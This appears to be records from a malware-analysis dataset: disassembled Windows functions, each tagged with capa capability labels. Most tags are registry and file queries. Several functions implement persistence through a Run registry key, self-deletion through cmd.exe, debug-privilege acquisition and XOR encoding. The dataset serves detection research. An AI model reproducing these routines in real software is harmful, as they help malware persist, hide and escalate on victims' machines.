joyce8/EMBER2024-capa huggingface dataset:
Function at 0x82ed20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x82ed58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0x82ed60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x82ed94
mov eax, dword [esp + 0x14]
test eax, eax
je 0x82ed94
push eax
push esi
call fcn.0083120b
add esp, 8
pop esi
ret 0x10

Function at 0x82eda0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x82ee22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0x82ee15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0x847320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00830dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0x82edda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0x82ee30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x82eec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0x82eeb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0x847320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00830dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0x82eeab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0x82ee6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0x82f000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0x82f131
push esi
call fcn.00832145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00821080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0x82f131
push 0
push ebp
call fcn.008213a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00821260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0x82f08b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.008212f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0x82f121
push 0x847918
push edi
call fcn.008303f0
push eax
push ebx
push esi
call fcn.0082ef60
push 0x8478f8
push edi
call fcn.008303f0
push eax
push ebx
push esi
call fcn.0082ef60
push 0x8478d8
push edi
call fcn.008303f0
push eax
push ebx
push esi
call fcn.0082ef60
push 0x8478c0
push edi
call fcn.008303f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.0082ef60
push 0x8478a0
push edi
call fcn.008303f0
push eax
push ebx
push esi
call fcn.0082ef60
push 0x847888
push edi
call fcn.008303f0
push eax
push ebx
push esi
call fcn.0082ef60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x8301b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00830140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00830140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00830140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00830140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x830bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x830c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x84287c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x830c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x830c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x40b346
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040d5b0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x400
push esi
lea eax, [ebp - 0x800]
push eax
xor ebx, ebx
push ebx
call edi
push str.opeqmc.exe
lea eax, [ebp - 0x800]
call fcn.00405493
test eax, eax
pop ecx
je 0x40b3e0
lea eax, [ebp - 0x1800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
jne 0x40b3e0
push esi
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
push 1
lea eax, [ebp - 0x800]
push eax
push str.IueiOod
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fd
add esp, 0x14
test eax, eax
push 4
je 0x40b3ca
push ebx
push 3
jmp 0x40b3d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040a786
add esp, 0xc
call fcn.0040b2ce
call fcn.0040aafd
test eax, eax
jne 0x40b3db
call fcn.0040ab7c
test eax, eax
je 0x40b453
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040a786
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
je 0x40b453
push ebx
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b453
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040abd9
test eax, eax
je 0x40b4ad
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
lea eax, [ebp - 0x800]
push eax
call fcn.00407727
test eax, eax
pop ecx
pop ecx
je 0x40b498
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b44c
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b4a3
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a786
add esp, 0xc
jmp 0x40b44c
push ebx
call fcn.00407727
cmp eax, ebx
pop ecx
push esi
je 0x40b4cf
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x411040]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40b4e9
lea eax, [ebp - 0x1000]
push eax
push ebx
call edi
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.004054ed
lea eax, [ebp - 0x1000]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b44c
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a786
add esp, 0xc
mov dword [0x411058], ebx
jmp 0x40b3db

Function at 0x40cd66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40cd70
repz ret
jmp fcn.0040d00b

Function at 0x438c90
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x438a14
mov eax, edx
sub edx, 0xe24978cc
call fcn.00438cc7
and eax, edx
xor dword [ebx], esi
sub eax, edx
inc ebx
or eax, edx
add eax, edx
cmp ebx, edi
jne fcn.00438c90
dec edx
sub eax, 1
ret
Function at 0x4081e0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
push edi
mov edi, edx
call fcn.004082c0
mov ebx, eax
test ebx, ebx
jne 0x408200
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 4], eax
test edi, edi
je 0x408234
mov eax, dword [ebp + 0xc]
sub eax, esi
mov dword [ebp + 0xc], eax
add eax, esi
mov cl, byte [esi]
xor edx, edx
rol cl, 4
div dword [ebp - 4]
mov eax, dword [ebp + 0xc]
xor cl, byte [edx + ebx]
not cl
mov byte [esi], cl
inc esi
sub edi, 1
jne 0x408218
push ebx
call fcn.004a0edb
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408250
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edx
mov esi, ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
push edi
push edi
push 4
push edi
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
test esi, esi
je 0x4082b2
push ebx
push edi
push edi
push edi
push 2
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
je 0x4082aa
mov edx, dword [ebp - 8]
mov ecx, ebx
push edi
push dword [ebp - 4]
call fcn.004081e0
add esp, 8
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4082c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], 0x7863513
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
push ebx
call fcn.004a0ee0
mov esi, eax
add esp, 4
test esi, esi
je 0x408308
xor edx, edx
test ebx, ebx
je 0x408308
sub edi, esi
mov eax, edx
lea ecx, [edx + esi]
and eax, 3
inc edx
mov al, byte [ebp + eax - 4]
xor al, byte [edi + ecx]
mov byte [ecx], al
cmp edx, ebx
jb 0x4082f0
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408410
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b7810
mov eax, dword fs:[0]
push eax
sub esp, 0x158
mov eax, dword [0x52a0b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 8
lea ecx, [ebp - 0x40]
call fcn.00404910
mov dword [ebp - 4], 0
lea eax, [ebp - 0x120]
push 0x400
push eax
lea ecx, [ebp - 0x40]
call fcn.004035c0
mov byte [ebp - 4], 1
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00403420
push 0x400
push dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
sete bl
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x120]
call fcn.00403cd0
test bl, bl
jne 0x40862a
cmp dword [ebp - 0x28], 8
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40862a
push ecx
push 0
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x40]
call fcn.00408730
mov byte [ebp - 4], 4
sub esp, 8
lea ecx, [ebp - 0xd0]
call fcn.00404910
mov byte [ebp - 4], 5
xor eax, eax
push 0x44
push eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x114], 0
call fcn.004a2ef0
xor eax, eax
mov dword [ebp - 0x164], 0x44
push eax
mov word [ebp - 0x134], ax
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0x138], 1
call fcn.0040a070
add esp, 0x14
mov byte [ebp - 4], 6
lea eax, [ebp - 0x101]
push 0
push eax
push str.cmd.exe
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], 0x4e7a18
mov dword [ebp - 0x78], 0x4e86a8
call fcn.00404190
mov byte [ebp - 4], 8
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x70]
call fcn.00408950
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa0]
call fcn.00404c20
cmp dword [ebp - 0x28], 8
lea ecx, [ebp - 0x3c]
lea eax, [ebp - 0x6c]
cmovae ecx, dword [ebp - 0x3c]
cmp dword [ebp - 0x58], 8
push ecx
cmovae eax, dword [ebp - 0x6c]
push eax
lea eax, [ebp - 0xd0]
push str.__s___c_del___s_
push eax
call fcn.004086a0
add esp, 0x10
lea ecx, [ebp - 0xd0]
call fcn.00403420
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x164]
push ecx
push 0
push 0
push 0x40
push 0
push 0
push 0
push dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4085fe
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x70]
call fcn.00404c20
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xd0]
call fcn.00404850
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x100]
call fcn.00404850
jmp 0x40862c
xor bl, bl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00404850
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a0eca
mov esp, ebp
pop ebp
ret
Function at 0x40a070
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b7fa1
mov eax, dword fs:[0]
push eax
sub esp, 0x84
mov eax, dword [0x52a0b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x70]
sub esp, 8
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x78], 0
call fcn.004091f0
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x70]
mov eax, dword [ebp + 0xc]
push 0x104
cmp eax, 1
jne 0x40a1f0
lea eax, [ebp - 0x84]
push eax
call fcn.00409470
mov byte [ebp - 4], 2
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00403f10
push 0x104
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
sete bl
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x84]
call fcn.00409a90
test bl, bl
je 0x40a129
lea ecx, [ebp - 0x2c]
call fcn.00409b70
push 0x5270bc
lea eax, [ebp - 0x2c]
push eax
call fcn.004a304a
push 0
lea eax, [ebp - 0x71]
mov dword [ebp - 0x40], 0x4e7a18
push eax
push str.sysnative
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x18], 0x4e86a8
call fcn.00404190
mov byte [ebp - 4], 4
lea eax, [ebp - 0x40]
push 0x5c
sub esp, 0x30
mov ecx, esp
mov dword [ebp - 0x8c], esp
mov dword [ebp - 0x90], ecx
push 0
push eax
mov dword [ecx], 0x4e7a18
mov dword [ecx + 0x28], 0x4e86a8
call fcn.00406fd0
mov byte [ebp - 4], 6
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x70]
call fcn.004092d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
call fcn.00404c20
push 0x4e7a20
lea ecx, [ebp - 0x70]
call fcn.00409f30
push 0
push eax
mov ecx, esi
mov dword [esi], 0x4e7a18
mov dword [esi + 0x28], 0x4e86a8
call fcn.00406fd0
mov byte [ebp - 4], 1
mov dword [ebp - 0x78], 1
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x70]
call fcn.00404c20
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a0eca
mov esp, ebp
pop ebp
ret
cmp eax, 2
lea eax, [ebp - 0x84]
push eax
jne 0x40a26f
call fcn.00409470
mov byte [ebp - 4], 8
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00403f10
push 0x104
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
sete bl
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x84]
call fcn.00409a90
test bl, bl
jne 0x40a113
push 0
lea eax, [ebp - 0x71]
mov dword [ebp - 0x40], 0x4e7a18
push eax
push str.syswow64
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x18], 0x4e86a8
call fcn.00404190
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x70]
call fcn.004093f0
jmp 0x40a189
call fcn.00409470
mov byte [ebp - 4], 0xc
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00403f10
push 0x104
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
sete bl
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x84]
call fcn.00409a90
test bl, bl
je 0x40a195
jmp 0x40a113
Function at 0x40fd50
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b9b00
mov eax, dword fs:[0]
push eax
sub esp, 0x90
mov eax, dword [0x52a0b0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 4], 0
mov eax, dword [ebp + 8]
je 0x40fdeb
test eax, eax
je 0x40fd93
mov dword [eax], 0
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
call dword [eax + 0x18]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40fe4e
push 0
lea eax, [esi + 0xc]
mov dword [ebp - 0x44], 0x4e7a18
push eax
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x1c], 0x4e86a8
call fcn.00406fd0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x44]
push 1
push eax
lea ecx, [ebp - 0x9c]
call fcn.0040f660
push 0x52716c
lea eax, [ebp - 0x9c]
push eax
call fcn.004a304a
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40fe4e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
je 0x40fe4e
push 0
lea ecx, [esi + 0xc]
mov dword [ebp - 0x44], 0x4e7a18
push ecx
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x1c], 0x4e86a8
call fcn.00406fd0
mov dword [ebp - 4], 4
lea eax, [ebp - 0x44]
push 1
push ebx
push eax
lea ecx, [ebp - 0x9c]
call fcn.0040f420
push 0x5271e0
lea eax, [ebp - 0x9c]
push eax
call fcn.004a304a
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004a0eca
mov esp, ebp
pop ebp
ret 4

Function at 0x410cf0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b9ed0
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
mov eax, dword [0x52a0b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [ebp + 0xc], 0xffffffff
lea eax, [ebp - 0x98]
mov ecx, dword [esi + 4]
mov edx, 1
cmovne edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x98], 0
test ecx, ecx
je 0x410d9b
push eax
push edx
push edi
call fcn.0049ae3a
test al, al
jne 0x410df1
push 0
lea eax, [esi + 0xc]
mov dword [ebp - 0x40], 0x4e7a18
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x18], 0x4e86a8
call fcn.00406fd0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x40]
push 1
push eax
lea ecx, [ebp - 0x94]
call fcn.0040f660
push 0x52716c
lea eax, [ebp - 0x94]
push eax
call fcn.004a304a
push 0
push eax
push edx
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x410df1
push eax
lea eax, [esi + 0xc]
mov dword [ebp - 0x40], 0x4e7a18
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x18], 0x4e86a8
call fcn.00406fd0
mov dword [ebp - 4], 4
lea eax, [ebp - 0x40]
push 1
push eax
lea ecx, [ebp - 0x90]
call fcn.0040f340
push 0x5271e0
lea eax, [ebp - 0x90]
push eax
call fcn.004a304a
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a0eca
mov esp, ebp
pop ebp
ret 8
Function at 0x410e20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b9f20
mov eax, dword fs:[0]
push eax
sub esp, 0x90
mov eax, dword [0x52a0b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [ebp + 0xc], 0xffffffff
lea eax, [ebp - 0x9c]
mov ecx, dword [esi + 4]
mov edx, 1
cmovne edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x9c], 0
test ecx, ecx
je 0x410ecb
push eax
push edx
push edi
call fcn.0049ae3a
test al, al
jne 0x410f21
push 0
lea eax, [esi + 0xc]
mov dword [ebp - 0x40], 0x4e7a18
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x18], 0x4e86a8
call fcn.00406fd0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x40]
push 1
push eax
lea ecx, [ebp - 0x98]
call fcn.0040f660
push 0x52716c
lea eax, [ebp - 0x98]
push eax
call fcn.004a304a
push 0
push eax
push edx
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x410f21
push eax
lea eax, [esi + 0xc]
mov dword [ebp - 0x40], 0x4e7a18
push eax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x18], 0x4e86a8
call fcn.00406fd0
mov dword [ebp - 4], 4
lea eax, [ebp - 0x40]
push 1
push eax
lea ecx, [ebp - 0x98]
call fcn.0040f340
push 0x5271e0
lea eax, [ebp - 0x98]
push eax
call fcn.004a304a
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a0eca
mov esp, ebp
pop ebp
ret 8

Function at 0x4118c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ba1d2
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x52a0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ebp - 4], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov byte [ebp - 4], 1
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov byte [ebp - 4], 2
mov dword [ecx + 0x24], 0
mov dword [ecx + 0x28], 0
mov dword [ecx + 0x2c], 0
mov byte [ebp - 4], 3
lea eax, [ecx + 0x30]
mov dword [ebp - 0x14], eax
mov dword [eax], 0
mov byte [ebp - 4], 5
lea eax, [ecx + 0x34]
mov dword [ebp - 0x14], eax
mov dword [eax], 0
mov byte [ebp - 4], 7
mov dword [ecx + 0x38], 0
mov dword [ecx + 0x3c], 0
mov dword [ecx + 0x40], 0
mov byte [ebp - 4], 8
mov dword [ecx + 0x44], 0
mov dword [ecx + 0x48], 0
mov dword [ecx + 0x4c], 0
mov byte [ebp - 4], 9
mov dword [ecx + 0x50], 0
mov dword [ecx + 0x54], 0
mov dword [ecx + 0x58], 0
mov byte [ebp - 4], 0xa
mov dword [ecx + 0x5c], 0
mov dword [ecx + 0x60], 0
mov dword [ecx + 0x64], 0
mov byte [ebp - 4], 0xb
mov dword [ecx + 0x68], 0
mov byte [ebp - 4], 0xc
mov dword [ecx + 0x6c], 0
mov byte [ebp - 4], 0xd
mov dword [ecx + 0x70], 0
mov byte [ebp - 4], 0xe
mov dword [ecx + 0x74], 0
mov byte [ebp - 4], 0xf
mov dword [ecx + 0x78], 0
mov byte [ebp - 4], 0x10
mov dword [ecx + 0x7c], 0
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret